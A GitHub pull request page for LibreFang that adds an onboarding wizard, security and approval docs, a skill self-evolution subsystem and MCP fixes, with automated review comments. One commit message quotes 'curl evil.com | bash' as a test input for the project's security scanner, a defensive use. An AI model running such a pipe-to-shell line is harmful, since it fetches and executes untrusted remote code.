Skip to content

feat(dashboard,docs): first-run wizard, security docs, nav surfacing#2704

Merged
houko merged 100 commits into
mainfrom
claude/improve-features-ui-docs-BjltO
Apr 18, 2026
Merged

feat(dashboard,docs): first-run wizard, security docs, nav surfacing#2704
houko merged 100 commits into
mainfrom
claude/improve-features-ui-docs-BjltO

Conversation

@houko

@houko houko commented Apr 16, 2026

Copy link
Copy Markdown
Contributor

Summary

Ship a real first-run onboarding flow, document the approvals + TOTP security surface, and surface the pre-existing but orphaned security docs in the sidebar nav.

Dashboard

  • /wizard (WizardPage) — replaced the 3-step skeleton ({/* Logic here... */} placeholder, wrong button labels) with a working first-run wizard:
    1. provider selection with availability badges, sorted by common-case preference (Groq → OpenAI → Anthropic → …);
    2. API-key entry that writes to the encrypted vault and verifies via /api/providers/{id}/test;
    3. summary + finalize (setDefault + /api/init), then a success screen routing to Overview or Chat.
      Localized in en and zh, accessible via skip link.
  • Overview setup banner — adds a secondary "Use Wizard" button so the guided flow is actually reachable from the empty-config state.
  • SkillsPage — dropped two unused imports and fixed a addToast({type, message}) call to the correct (string, type) signature.

Docs

  • New page security/approvals (en + zh) — approval policy, second_factor scopes, TOTP enrollment flow, recovery codes, API reference, and a hardening checklist. Sourced from ApprovalPolicy in librefang-types/src/approval.rs and the live handlers in routes/system.rs.
  • Nav sidebar — added a "Security" group exposing the existing but orphaned security/{sandboxing,integrity,network-api,operations} pages plus the new approvals page, mirrored in the Chinese navigation.

Test plan

  • pnpm typecheck (dashboard) — 0 errors (also fixed 3 pre-existing SkillsPage errors)
  • pnpm build (dashboard) — built in 23s
  • pnpm test (dashboard) — 18/18 passing
  • pnpm typecheck (docs) — 0 errors
  • cargo check --workspace --lib --exclude librefang-desktop — green
  • Manual: load /wizard in a fresh install and walk through the three steps
  • Manual: verify the Security nav group renders in both en and zh docs

houko and others added 9 commits April 16, 2026 23:26
Enable agents to autonomously create, update, and refine skills based on
their execution experience — inspired by hermes-agent's approach but with
Rust-native improvements.

Core evolution module (evolution.rs):
- create/update/patch/delete/rollback operations for PromptOnly skills
- 5-strategy fuzzy matching (exact → line-trimmed → whitespace-normalized
  → indent-flexible → block-anchor) tolerant of LLM formatting variance
- Version history tracking with .evolution.json metadata
- Rollback snapshots in .rollback/ directory
- Supporting file management (references/templates/scripts/assets)
- Atomic writes (temp file + rename) preventing partial files on crash
- Security scanning on all mutations with auto-rollback on critical threats

Registry enhancements:
- reload_skill() for hot-reload after evolution (works even when frozen)
- evolve_update/evolve_patch/evolve_rollback convenience methods
- skills_dir() getter for tool implementations

Runtime integration:
- 5 new agent tools: skill_evolve_create, skill_evolve_update,
  skill_evolve_patch, skill_evolve_delete, skill_evolve_rollback
- Skill evolution guidance injected into system prompt
- skill_evolution_suggested flag on AgentLoopResult (5+ tool calls)

Kernel wiring:
- Auto-detect skill_evolve_* tool usage and hot-reload registry
- Immediate availability of new/updated skills for subsequent messages

API enhancement:
- Rewrote create_skill endpoint to use evolution module with proper
  validation, security scanning, and auto-reload
…ance

- Expand verify.rs threat detection from ~20 to 80+ patterns across 12
  categories: injection, exfil, reverse shells, persistence, obfuscation,
  supply chain, config tampering, destructive ops, privilege escalation,
  hardcoded secrets, invisible unicode
- Add skill_evolve_write_file / skill_evolve_remove_file tools for
  managing supporting files (references/, templates/, scripts/, assets/)
- Rewrite skill section in system prompt with mandatory loading language:
  "MUST load" guidance, <available_skills> wrapper, category grouping
- Group skill index by category (from tags) in kernel build_skill_summary
- Add write_supporting_file/remove_supporting_file/list_supporting_files
  to evolution.rs with path traversal protection and 1MiB size limits
…etail API

Background skill review system:
- Spawn async background LLM call after complex tasks (5+ tool calls)
- Review prompt asks LLM to evaluate if approach is worth saving as skill
- Auto-creates skills from review response without blocking main conversation
- Hot-reloads registry after successful background skill creation

Platform filtering & disabled skills:
- skill_matches_platform() checks manifest tags against current OS
- set_disabled_skills() / is_disabled() for global skill blacklist
- load_skill() skips disabled and platform-incompatible skills

External skill directories:
- load_external_dirs() scans additional read-only skill directories
- Local skills take precedence over external ones with same name
- Auto-converts SKILL.md format in external dirs

Skill detail API endpoint:
- GET /api/skills/{name} returns full skill info
- Includes linked_files, evolution history, version tracking, tags
- Exposes use_count and evolution_count metrics
- Add ?category= query param to GET /api/skills for filtering by tag
- Return categories[] array in list response for UI category navigation
- Add SkillConfigVar struct + extract_skill_config_vars() + discover_all_config_vars()
  for scanning skill [config] declarations across all installed skills
Bug fixes:
- Fix SemVer version parsing using semver crate (handles pre-release/build metadata)
- Fix JSON extraction from LLM responses using balanced brace matching
- Fix frontend race condition with mounted ref and AbortController

Concurrency:
- Add file locking (fs2) to all skill mutation operations
- Replace global cooldown AtomicI64 with per-agent DashMap cooldown

Performance:
- Rewrite security scanner with Aho-Corasick multi-pattern matching (O(N+M) vs O(N×M))
- Deduplicate pattern match warnings

Error handling:
- Add retry with exponential backoff for background skill review
- Record review failures in audit log
- Localize frontend API error messages

Security:
- Strengthen directory traversal defense with full-path canonicalization

Tests:
- Add SemVer bump tests (pre-release, build metadata, fallback)
- Add file locking and concurrent access tests
- Add directory traversal defense tests
- Add supporting file management tests
- Add JSON extraction tests (code blocks, nested braces, malformed)
- Add Aho-Corasick deduplication test
- Expand verify.rs test coverage (12 new tests)
Compile errors
- tests.rs: replace non-existent `Kernel` alias with `LibreFangKernel`
- tests.rs: switch single-hash raw string to r##""## — the JSON body
  contained `"#` which prematurely terminated the literal
- kernel/mod.rs: audit_log.record() now passes all four required args

Skill evolution correctness
- try_normalized_replace: multi-match check was substring-based, which
  falsely fired "Multiple matches" when old_str appeared as a substring
  inside a longer line (but never matched whole-line). Switched to a
  two-pass line-based counter so unmatched line patterns cleanly fall
  through to the next fuzzy strategy
- save_rollback_snapshot: timestamp precision was 1 second; rapid
  patch → rollback → patch chains silently overwrote snapshots. Now
  embeds nanoseconds + pid, plus a collision dedupe suffix
- rollback_skill: sort snapshots by file_name (matches the new format)

Concurrency
- Move per-skill lock file out of the skill directory to a sibling
  `.evolution-locks/<name>.lock`, so delete_skill can hold the lock
  across remove_dir_all without Windows file-handle interference
- delete_skill: acquire the lock (was the only mutation without it);
  re-check existence under the lock to handle delete-delete races
- try_claim_skill_review_slot (kernel): atomic DashMap entry() CAS
  closes the old check-then-insert race; map is purged when it grows
  past SKILL_REVIEW_COOLDOWN_CAP so long-lived kernels don't leak

Background skill review
- Retry policy is now error-aware: transient failures (timeouts, rate
  limits, network, 429/503/504) retry with exponential backoff;
  permanent failures (parse/validation/security-blocked) fail fast
- Unknown action values from the reviewer LLM are info-logged and
  skipped instead of silently ignored
- summarize_traces_for_review: for long tool sequences, include both
  head and tail slices with an elision marker — tail often carries
  the convergence insights the reviewer needs

Supporting-file management
- list_supporting_files: walk subdirectories recursively (depth-
  limited to 16, symlinks not followed). Nested files created via
  write_supporting_file were previously invisible
- remove_supporting_file: prune empty ancestor directories upward to
  the skill root, not just the immediate parent; use the same walker
  for the "Available files" hint

Config discovery
- New discover_config() / ConfigDiscovery / SkillConfigConflict API
  surfaces keys claimed by multiple skills; discover_all_config_vars
  kept as a flat-list wrapper for backward compatibility

Tests
- Regression tests for every bug above (line-count, timestamp
  collision, external lock path, delete-under-lock serialization,
  recursive listing, nested prune, config conflicts)
- Kernel tests for is_transient_review_error and summarize_traces
  head/tail behavior
Ship a real onboarding flow and make existing security docs reachable.

- WizardPage: replace the 3-step skeleton with a working first-run wizard —
  provider selection, API-key entry with live /test verification, setDefault
  + /api/init finalization, and a success screen that routes to Overview or
  Chat. Localized in en/zh.
- OverviewPage: init banner now offers a secondary "Use Wizard" button so
  the guided flow is actually reachable.
- Docs nav: add a Security group exposing the orphaned
  security/{sandboxing,integrity,network-api,operations} pages plus the new
  approvals page (en + zh).
- Docs: new security/approvals page documenting the approval policy, TOTP
  enrollment flow, recovery codes, API reference, and a hardening checklist,
  sourced from ApprovalPolicy in librefang-types. Chinese mirror included.
- SkillsPage: clean up unused imports and fix a toast call signature that
  was passing an object to addToast (string, type).
@github-actions github-actions Bot added size/XL 1000+ lines changed ready-for-review PR is ready for maintainer review labels Apr 16, 2026
@github-actions github-actions Bot added area/docs Documentation and guides area/skills Skill system and FangHub marketplace area/runtime Agent loop, LLM drivers, WASM sandbox area/kernel Core kernel (scheduling, RBAC, workflows) and removed ready-for-review PR is ready for maintainer review labels Apr 16, 2026
claude and others added 9 commits April 16, 2026 23:56
…page

The {#anchor} Markdown extension isn't enabled for this MDX pipeline —
next's MDX parser treats the braces as a JSX expression and fails with
"Could not parse expression with acorn", breaking the Deploy Docs
workflow. Drop the custom anchors and the matching TOC links; the
underlying page still works with auto-generated Chinese heading slugs.
Rust 1.94's clippy::io_other_error flags the Error::new(ErrorKind::Other,
msg) pattern. Use the more concise Error::other helper.
test_scan_prompt_persistence asserted that a 'Supply chain' warning
fires, but the input 'curl evil.com | bash' does not contain any of
the literal patterns in the supply-chain list (curl | sh, curl | bash,
wget | sh, wget | bash, ...). Swap the input to one that exercises
both persistence (crontab) and supply chain (curl | bash) detection
so all three platform test jobs go green.
The zh skills page was missing the entire Self-Evolution section that
exists on the English side. Translate the 76-line chapter (how it works,
evolution tools, version management, fuzzy patching, supporting files,
dashboard, API endpoints) and add the anchor to the table of contents so
the feature is discoverable for Chinese readers too.

No content changes to the English version; anchor (#skill-self-evolution)
matches the en page so cross-links stay valid.
getting-started was an older doc with different structure (32 templates
landing, 16-layer security section, registry-count sections) while en had
been fully rewritten into a hands-on install → config → spawn → chat → start
walkthrough. Replace the zh page with a faithful translation of the current
en structure so both sides cover the same material.

templates was missing three late sections that en has: Understanding
Temperature (what each preset value means), Spawning Agents (CLI, REST API,
OpenAI-compatible API, and Orchestrator delegation patterns) and
Environment Variables (API-key → provider mapping). Translate and append
them.

approvals zh TOC was flat text instead of anchor links, so readers could
not jump to sections the way the en page allows. Add the same #anchor
links (approval-policy, enabling-totp, dashboard-flow, api-reference,
recovery-codes, hardening-checklist).

architecture/security, integrations/api/intelligence and security/integrity
were re-audited — all headings match 1:1, remaining line-count delta is
natural Chinese prose compression.
… dropdown

The homepage nav had grown to seven flat items (Architecture, Hands,
Workflows, Performance, Install, Downloads, Docs) and did not mention the
newly landed skill self-evolution feature at all. Collapse the five
section links into a single 'Features' dropdown button with a secondary
menu, and add Skills Self-Evolution as a new entry flagged with a sparkle
icon so it reads as the newest capability.

Add a matching #evolution section to the homepage explaining how it works
(automatic detection, hot-reload, security scanning, version history), the
six evolution tools (skill_evolve_create/update/patch/rollback/
write_file/delete), and a link through to the skill evolution chapter in
the docs.

Nav labels and the whole evolution section are localized across all seven
locales (en, zh, zh-TW, ja, ko, de, es) so nothing falls back to English.
Mobile menu lists the Features group above the flat links with the same
Sparkle marker on the evolution entry.

registry.json changes are the prebuild fetch pulling in two new upstream
hands (devteam, wiki) — unrelated to the nav change but regenerated as
part of the same build.
Adds /skills, /mcp, /plugins, /hands, /agents, /providers, /workflows,
/channels pages to the homepage, one per registry category, each listing
items straight from github.com/librefang/librefang-registry.

To avoid GitHub 403s from per-visitor traffic, all runtime reads go
through the existing stats.librefang.ai CF worker. Extend both the
worker's /api/registry endpoint and the build-time scripts/fetch-
registry.ts so every category — not just hands and channels — gets full
TOML details: agents (AGENT.toml), skills (SKILL.toml), plus the
file-based providers/workflows/plugins/integrations/channels/mcp. Scheduled
daily refresh batches TOML fetches in groups of 10 and short-circuits
when directory counts are unchanged.

RegistryPage is a single generic component that takes a category prop
and renders a searchable/category-filterable grid with localized
descriptions. Handles loading, error, empty-category (CTA to contribute
on GitHub), and no-search-match states. Popular items float to the top.

useRegistry schema upgraded: all 9 category arrays (hands, channels,
providers, integrations, workflows, agents, plugins, skills, mcp) are
optional with .default([]) so stale clients/workers don't break. Added
getCategoryItems helper so pages read via category name.

Nav: Features dropdown now lists the 8 registry pages (Skills flagged
with sparkle as newest). Hands link is both a homepage anchor and a
registry page — the dropdown wins for discoverability; on-page Hero and
#hands section continue to work. Mobile nav mirrors the same entries.

i18n for all seven locales (en/zh/zh-TW/ja/ko/de/es): category titles,
descriptions, page labels (loading/error/empty/etc). No English fallback
in any locale.

registry.json rebuild pulled in 60 newly-exposed skills from the registry
(mcp category returns 0 gracefully — shows contribute CTA).

SPA routing already handled by web/public/_worker.js's 404 fallback to
index.html, which is why a new deploy just picks up the new routes
without a _redirects change.
Registry data would be up to 24h stale because only the scheduled cron
touched the full KV entry — the /api/registry fast path just returned a
names-only snapshot without triggering any refresh. Flip the logic:

- Fresh (< 1h): return KV directly.
- Stale (1h–24h): return KV immediately, kick off refreshRegistryCache
  in ctx.waitUntil so the NEXT request is fresh.
- Cold start / explicit ?refresh: run refreshRegistryCache inline and
  return the result. First visitor pays the latency, but it's one-off;
  subsequent visitors hit a populated cache.
- refresh failure falls back to any existing KV (stale), or 503 with an
  empty shell so the client's build-time registry.json side of the merge
  still renders.

Daily scheduled cron is now just a safety net for when the site gets
zero traffic for a long time, not the primary refresh path.
@github-actions github-actions Bot added the area/ci CI/CD and build tooling label Apr 17, 2026
@houko
houko marked this pull request as ready for review April 17, 2026 04:28

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 1ad610c4a0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/librefang-kernel/src/kernel/mod.rs Outdated
Comment thread crates/librefang-skills/src/evolution.rs
pnpm/action-setup@v6 was merged into main via dependabot PR #2700. In
practice it ignores its `version` input and installs pnpm
11.0.0-beta.4-1 regardless (whether you pass `10`, `10.x`, or a pinned
patch). pnpm 11 beta's YAML parser throws `ERR_PNPM_BROKEN_LOCKFILE:
expected a single document in the stream` on the v9 lockfiles we have.
Every Deploy Docs / Deploy Website run across multiple branches has
failed since.

Drop pnpm/action-setup entirely. `corepack enable` before setup-node;
corepack reads the `packageManager` field from each package.json
(docs/package.json -> [email protected], web/package.json -> [email protected])
and activates that exact version. setup-node@v6 `cache: pnpm` still
works because corepack provides the pnpm shim. Future pnpm bumps go
through a deliberate packageManager change, not silent drift on GitHub
runners.
@github-actions github-actions Bot removed the ready-for-review PR is ready for maintainer review label Apr 17, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 58cf70001f

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread web/workers/github-stats-worker/index.js Outdated
Comment thread crates/librefang-cli/src/main.rs
…es-ui-docs-BjltO

# Conflicts:
#	crates/librefang-api/src/routes/system.rs
#	crates/librefang-extensions/src/registry.rs
#	crates/librefang-runtime/src/registry_sync.rs
@github-actions github-actions Bot added ready-for-review PR is ready for maintainer review and removed has-conflicts PR has merge conflicts that need resolution labels Apr 17, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 02b59efc66

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/librefang-api/dashboard/src/pages/WizardPage.tsx Outdated
Comment thread .github/workflows/test-web.yml
houko added 2 commits April 18, 2026 01:00
…ync, duplicate guards

Another round from codex-connector on #2704, focused on the MCP
refactor. Each fix is load-bearing for a feature the branch claims
to have shipped; several would return "success" while leaving the
system in a broken state.

Kernel:
- migration: reload config.toml from disk ONLY when the migrator
  reports it actually wrote something. Unconditional reload could
  silently swap the caller's in-memory config (non-default path,
  programmatic build) for whatever happens to be on disk. (#44)
- HotAction::ReloadMcpServers now diffs the old/new server sets and
  register/unregister-s entries in mcp_health accordingly — otherwise
  newly added servers skip the health registry (report_ok is a no-op
  for unknown IDs) and removed servers leave stale entries behind,
  so /api/mcp/health under-reports until restart. (#49)

API routes (skills.rs):
- install_extension calls reload_config() between writing config.toml
  and reload_mcp_servers(), so the fresh [[mcp_servers]] entry is
  actually visible on the connect pass instead of missing from the
  in-memory snapshot. (#50)
- uninstall_extension does the same so reload_mcp_servers() doesn't
  cheerfully reconnect the server we just deleted. (#51)
- upsert_mcp_server_config / remove_mcp_server_config now propagate
  TOML parse errors instead of unwrap_or_default-ing — writing back
  an empty table on malformed input would nuke every unrelated
  config section. Same pattern as the CLI fix. (#47 sibling)

Runtime:
- mcp_migrate: same unwrap_or_default -> error propagation in the
  migration's config.toml upsert path. Destructive data loss otherwise
  when legacy files exist alongside a partially-broken config.toml. (#48)

CLI:
- librefang mcp add <name> rejects re-install when a server with the
  same name or template_id is already in config.toml, matching the
  API path's 409 behavior. The old helper silently replaced the entry
  via upsert-by-name, wiping edited transport/env/oauth. Also fails
  fast on malformed config.toml before running the installer. (#53)

Verified compile via cargo check --workspace --lib (exit 0).
**CI (#17, #28, #55)**: move `corepack enable` to run AFTER
`actions/setup-node` in all four workflows (deploy-web, deploy-docs,
lighthouse, test-web). Corepack shims are installed into whichever
Node lives on PATH at the time; running it first means setup-node
later switches to a different Node install that lacks the shims,
causing intermittent `pnpm: command not found` failures.

**Web (#34)**: registry detail page now tries both MCP manifest
layouts — flat `mcp/<id>.toml` (legacy, still the majority) and
directory-backed `mcp/<id>/MCP.toml` (new, multi-file packages) —
matching what `web/scripts/fetch-registry.ts` already accepts. The
resolved path (whichever candidate returns 200) is what the
"View on GitHub" and commit-history lookups use, so those links
always point at the file the user is actually viewing.

Extracted `pathCandidatesFor` and `fetchFirstAvailable` into
`web/src/lib/registry-raw.ts` so the list page's hover-prefetch
and the detail page's real fetch share one cache entry and one
source of truth for path layout. Dropped the redundant
`fileNameFor` field from `CATEGORY_META` — it duplicated the
same knowledge.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 62d0f616f0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

pub async fn reload_integrations(State(state): State<Arc<AppState>>) -> impl IntoResponse {
match state.kernel.reload_extension_mcps().await {
pub async fn reload_mcp_handler(State(state): State<Arc<AppState>>) -> impl IntoResponse {
match state.kernel.reload_mcp_servers().await {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Reload config before reconnecting MCP servers

POST /api/mcp/reload directly calls reload_mcp_servers() without first calling reload_config(), but reload_mcp_servers() reads from the in-memory config snapshot. In this commit, librefang mcp add/remove now edits config.toml locally and then posts /api/mcp/reload, so a running daemon can ignore those new on-disk changes and report success while not actually connecting/disconnecting servers until a separate config reload or restart.

Useful? React with 👍 / 👎.

Comment on lines +3165 to +3169
let result = match librefang_extensions::installer::install_integration(
&cat,
&mut resolver,
&entry.id,
&creds,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Check for duplicate server before template install side effects

The template-install path invokes install_integration(...) before the duplicate-name guard runs, and that installer stores provided credentials in the vault as a side effect. If the server is already configured, this handler returns 409, but it may already have overwritten secrets, which makes a failed install request mutate runtime credentials unexpectedly.

Useful? React with 👍 / 👎.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 84f97fc4a0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread crates/librefang-cli/src/tui/event.rs Outdated
let client = daemon_client();
match client
.delete(format!("{base_url}/api/integrations/{id}"))
.delete(format!("{base_url}/api/mcp/servers/{id}"))

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Uninstall extensions via template-aware endpoint

This delete call uses id from the Extensions list, but that id is populated from catalog entry.id (template id), not guaranteed to be the configured MCP server name. The backend explicitly supports name/template divergence when uninstalling (template_id -> server name resolution in /api/extensions/uninstall), so calling /api/mcp/servers/{id} can 404 and leave installed entries undeletable when names differ (for example raw-authored entries with template_id set).

Useful? React with 👍 / 👎.

Comment on lines +273 to +276
sha: { type: string }
author: { type: string }
date: { type: string, format: date-time }
message: { type: string }

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Allow nullable commit fields in OpenAPI schema

The worker returns { sha: null, date: null, message: null } when no commit exists for a path, but this schema constrains those fields to non-null strings/date-time. Strictly generated clients will treat valid runtime responses as schema violations, especially on newly added or missing files where nulls are expected.

Useful? React with 👍 / 👎.

houko added 3 commits April 18, 2026 08:42
…ayload alignment

Third Codex batch on #2704, focused on the stats worker + its
published contract.

**SKILL.md YAML parsing (#52)**: skill manifests are routed through
`fetchSkillMd`, a YAML-frontmatter-aware parser mirroring the one in
`web/scripts/fetch-registry.ts`. The previous wiring pushed `SKILL.md`
through `fetchToml`, which only recognizes `key = "value"` TOML pairs
— so every skill entry in the worker's cache had an empty id/name/
description and new skills never surfaced through `/api/registry`
until a full rebuild.

**Signature-based cache invalidation (#29)**: the refresh used to
skip manifest fetches whenever counts were unchanged, so any
content-only edit (description, tags, i18n) or one-for-one item
swap left the live API stale indefinitely. We now hash
`name@sha` across every listed item and compare the concatenated
signature; any upstream change bumps it, so the manifest fetch
actually runs and fresh metadata propagates.

**OpenAPI response alignment (#35, #36)**:
- `GET /api/errors` returns `{ errors: [...] }`, not a bare array;
  schema now matches. Clients generated from the old spec were
  iterating the top-level object and crashing at runtime.
- `GET /api/releases` passes GitHub's release JSON through verbatim.
  The published schema pretended the payload was transformed to
  `{ tag, publishedAt, url, downloads }`, but the handler never
  does that transform. Updated to document the real GitHub shape
  (`tag_name`, `published_at`, `html_url`, `assets[]`) so generated
  clients read the fields that actually exist.
- `ErrorReport` fields also aligned with what `handleErrorReport`
  actually accepts (`pathname`, `lang`, `ua`, `at`) instead of the
  never-implemented `url`/`userAgent`/`timestamp`/`build`.
…detail cache key

Fourth Codex batch on #2704 — smaller correctness items before the
skill-evolution subsystem fixes.

**App routing (#22)**: `App.tsx` now matches deploy/changelog paths
with a locale-prefix-tolerant regex, so `/zh/deploy`, `/de/changelog`,
etc. hit the real pages instead of falling through to the homepage
404. Previously only the bare `/deploy`/`/changelog` forms worked,
breaking every hreflang alternate the site generates.

**Metrics page (#40)**: categories returned by the worker that the
SPA has no route for (notably the legacy `integrations` emitted
before the MCP rename) render as plain rows instead of clickable
links, so users don't click into a guaranteed 404.

**Skill detail cache key (#20)**: `SkillsPage` now caches detail
data under `skillKeys.detail(name)` (added `details()` and
`detail(id)` to the factory in `lib/queries/keys.ts`). The old
`['skill-detail', name]` namespace lived outside `skillKeys.all`,
so mutations' `invalidateQueries(skillKeys.all)` never refreshed
open detail modals — users saw stale metadata after install/
update/delete until a manual refresh.

Re: #18 — verified stale in the current tree; both `list_skills`
and `get_skill_detail` already read from `kernel.skill_registry_ref()`
so there is no disk/memory divergence for Codex to flag. No change
needed.
… key overwrite

**Hook-layer conformance (#19, #54)**: WizardPage now imports from
`lib/queries/providers` and `lib/mutations/providers` instead of
calling `api.ts` functions directly. That brings it in line with
the contract in `dashboard/AGENTS.md` — centralised staleTime,
shared query keys, and onSuccess invalidations. The direct-call
path was diverging from the rest of the dashboard on provider
cache behaviour every time the shared hooks were tuned.

**Guarded overwrite of a working key (#9)**: when the selected
provider already has `auth_status = ready` and the user types a
new key, a warning checkbox must be acknowledged before the
Connect button is enabled. Previously the wizard wrote the new
key first and then ran the test; a typo destroyed the working
credential with no recovery path (the backend only reads from
env/vault — it has no rollback). The checkbox forces explicit
consent so a mistyped key doesn't silently brick a working
install. Any edit in the input resets the confirmation so stale
approvals don't carry over to different strings.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: df94ee4112

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

if (hasEnv) {
const defaults: Record<string, string> = {};
for (const e of tpl.required_env ?? []) defaults[e.name] = "";
setEnvInputs(defaults);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Omit blank credential fields before template install

When a catalog template has required env vars, this pre-fills every key with an empty string and the install flow later posts envInputs directly. If a user leaves any field blank, those empty values are still sent; the backend install path stores provided credentials and treats key presence as satisfied, so blank entries can overwrite existing vault secrets and still return a successful install state. Filter out empty values (or require non-empty required fields) before submitting credentials.

Useful? React with 👍 / 👎.

Comment on lines +51 to +55
if !path.is_file() {
continue;
}
let id = match path.file_name().and_then(|n| n.to_str()) {
Some(n) if n.ends_with(".toml") => n.trim_end_matches(".toml").to_string(),

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Load MCP catalog entries from directory-based layouts

This loader only reads top-level files and derives IDs from <name>.toml, skipping directory entries entirely. The registry now also uses directory-backed MCP manifests (mcp/<id>/MCP.toml, which this same commit’s web fetcher supports), so those templates are silently dropped from the in-memory catalog and never appear in /api/mcp/catalog or CLI catalog install flows. Add directory-aware parsing (or flattening) so both manifest layouts are discoverable.

Useful? React with 👍 / 👎.

Comment thread web/src/useRegistry.ts Outdated
plugins: z.array(DetailSchema).optional().default([]),
skills: z.array(DetailSchema).optional().default([]),
mcp: z.array(DetailSchema).optional().default([]),
handsCount: z.number().optional().default(0),

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Preserve local counts when API omits registry count fields

Making count fields optional().default(0) causes missing API fields to parse as 0, which defeats the later apiData.*Count ?? localData.*Count fallback. In partial/stale worker responses where count keys are absent, valid local registry.json counts get overwritten with zeros and the UI shows incorrect category totals. Keep these optional as undefined (or track presence explicitly) so fallback to local counts still works.

Useful? React with 👍 / 👎.

…ation

Fifth Codex batch on #2704 — covers the skill-evolution subsystem
(code the upstream PR #2694 shipped to main but that shows up in
this PR's diff), plus the KV race on worker telemetry writes.

librefang-skills (evolution.rs):
- fuzzy_find_and_replace rejects empty old_string up front (#16).
- update_skill / patch_skill re-verify skill_dir.exists() under
  the lock so concurrent delete_skill can't be resurrected (#3, #5).
- delete_skill runs validate_name to reject path traversal (#12).
- remove_supporting_file canonicalises + contains-checks the
  target (#6), matching write_supporting_file.
- write_supporting_file scans content BEFORE writing (#7) so a
  rejected update doesn't destroy the pre-existing valid file.

librefang-runtime (tool_runner.rs):
- tool_skill_evolve_delete resolves the real installed skill's
  parent dir via registry.get() (#15) instead of unconditionally
  targeting the global skills_dir.

librefang-types / librefang-kernel (approval policy):
- Default require_approval list includes skill_evolve_* (#14).
  Updated serde `true`-shorthand + tests to match.

librefang-kernel (kernel/mod.rs):
- build_skill_summary sanitises the category key (#1) — tags are
  third-party data.
- extract_json_from_llm_response tries every '{' instead of giving
  up after the first (#8).
- Background skill review uses the agent's resolved driver and
  model for cost attribution (#13); falls back to defaults only
  when manifest resolution fails.

worker (github-stats-worker/index.js):
- Click counts sharded across 8 blobs, unioned on read (#39).
- UI error reports sharded across 4 blobs plus legacy-key fallback
  for historical data (#41).
@github-actions github-actions Bot added the area/skills Skill system and FangHub marketplace label Apr 18, 2026
… pnpm

Codex comments #17, #28, #55 asked us to move `corepack enable` after
`actions/setup-node`, arguing that corepack's shims are bound to the
pre-setup-node Node install. In practice the opposite is true: the
`cache: pnpm` option on setup-node runs `pnpm --version` to compute
the cache key during setup, so pnpm MUST be on PATH before that step.
Putting corepack after setup-node fails every run with
`Unable to locate executable file: pnpm` — which is what we saw on
deploy-web, deploy-docs, lighthouse, and test-web after the previous
commit.

Modern setup-node (v6 + Node ≥22, which bundles corepack) preserves
corepack shims across the Node swap, so one `corepack enable` up
front is both necessary and sufficient. Restore the original ordering
in all four workflows and leave a comment explaining why the
Codex-suggested ordering doesn't work here.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

const result: McpServerConfigured = {
name: form.name,
transport,
